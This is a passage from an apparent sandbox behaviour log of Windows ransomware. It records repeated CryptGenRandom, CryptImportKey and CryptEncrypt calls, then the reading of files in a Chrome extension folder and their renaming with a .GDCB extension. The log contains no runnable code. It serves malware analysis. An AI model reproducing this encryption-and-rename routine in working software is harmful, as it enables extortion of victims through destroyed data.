v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0266.019] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6795720) returned 1 [0266.019] CryptGetKeyParam (in: hKey=0x6795720, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0266.019] CryptEncrypt (in: hKey=0x6795720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0266.020] GetLastError () returned 0x0 [0266.020] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.020] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0266.023] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6795760) returned 1 [0266.023] CryptGetKeyParam (in: hKey=0x6795760, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0266.023] CryptEncrypt (in: hKey=0x6795760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0266.023] GetLastError () returned 0x0 [0266.023] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.023] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0266.024] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.027] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.030] ReadFile (in: hFile=0x520, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d3e8*=0x2f0, lpOverlapped=0x0) returned 1 [0266.039] VirtualAlloc (lpAddress=0x0, dwSize=0x2f0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.046] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.gdcb")) returned 1 [0266.068] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0266.071] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.073] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.073] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.073] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0266.073] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.075] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.078] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.078] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.078] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.078] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.080] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67950e0) returned 1 [0266.080] CryptGetKeyParam (in: hKey=0x67950e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.080] CryptEncrypt (in: hKey=0x67950e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.080] GetLastError () returned 0x0 [0266.080] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.080] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.082] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795920) returned 1 [0266.082] CryptGetKeyParam (in: hKey=0x6795920, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.082] CryptEncrypt (in: hKey=0x6795920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.082] GetLastError () returned 0x0 [0266.082] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.083] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.084] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.086] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.089] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x84, lpOverlapped=0x0) returned 1 [0266.097] VirtualAlloc (lpAddress=0x0, dwSize=0x90, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.103] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json.gdcb")) returned 1 [0266.108] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0266.111] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.113] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.113] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.113] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0266.114] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0266.116] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.118] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.118] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.118] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.118] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0266.120] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795ce0) returned 1 [0266.120] CryptGetKeyParam (in: hKey=0x6795ce0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.120] CryptEncrypt (in: hKey=0x6795ce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.121] GetLastError () returned 0x0 [0266.121] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0266.121] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.122] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67958e0) returned 1 [0266.122] CryptGetKeyParam (in: hKey=0x67958e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.123] CryptEncrypt (in: hKey=0x67958e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.123] GetLastError () returned 0x0 [0266.123] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.123] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.124] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.127] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.129] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x103, lpOverlapped=0x0) returned 1 [0266.137] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.147] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json.gdcb")) returned 1 [0266.153] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.156] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.158] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.158] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.158] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.159] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.161] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.163] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.163] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.163] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.163] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.165] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795ca0) returned 1 [0266.166] CryptGetKeyParam (in: hKey=0x6795ca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.166] CryptEncrypt (in: hKey=0x6795ca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.166] GetLastError () returned 0x0 [0266.166] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.166] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.168] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795960) returned 1 [0266.168] CryptGetKeyParam (in: hKey=0x6795960, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.168] CryptEncrypt (in: hKey=0x6795960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.168] GetLastError () returned 0x0 [0266.168] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.168] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.169] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.172] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.174] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xed, lpOverlapped=0x0) returned 1 [0266.183] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.191] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json.gdcb")) returned 1 [0266.196] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.199] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.201] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.201] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.201] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.201] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0266.204] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.206] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.206] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.206] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.206] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.208] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795b20) returned 1 [0266.208] CryptGetKeyParam (in: hKey=0x6795b20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.208] CryptEncrypt (in: hKey=0x6795b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.209] GetLastError () returned 0x0 [0266.209] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.209] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.211] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6795d20) returned 1 [0266.211] CryptGetKeyParam (in: hKey=0x6795d20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.211] CryptEncrypt (in: hKey=0x6795d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.211] GetLastError () returned 0x0 [0266.211] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.211] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.212] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.216] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.218] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xa7, lpOverlapped=0x0) returned 1 [0266.226] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.235] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json.gdcb")) returned 1 [0266.240] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.243] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.246] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.246] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.246] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.246] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.249] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.251] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.251] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.251] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.251] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, 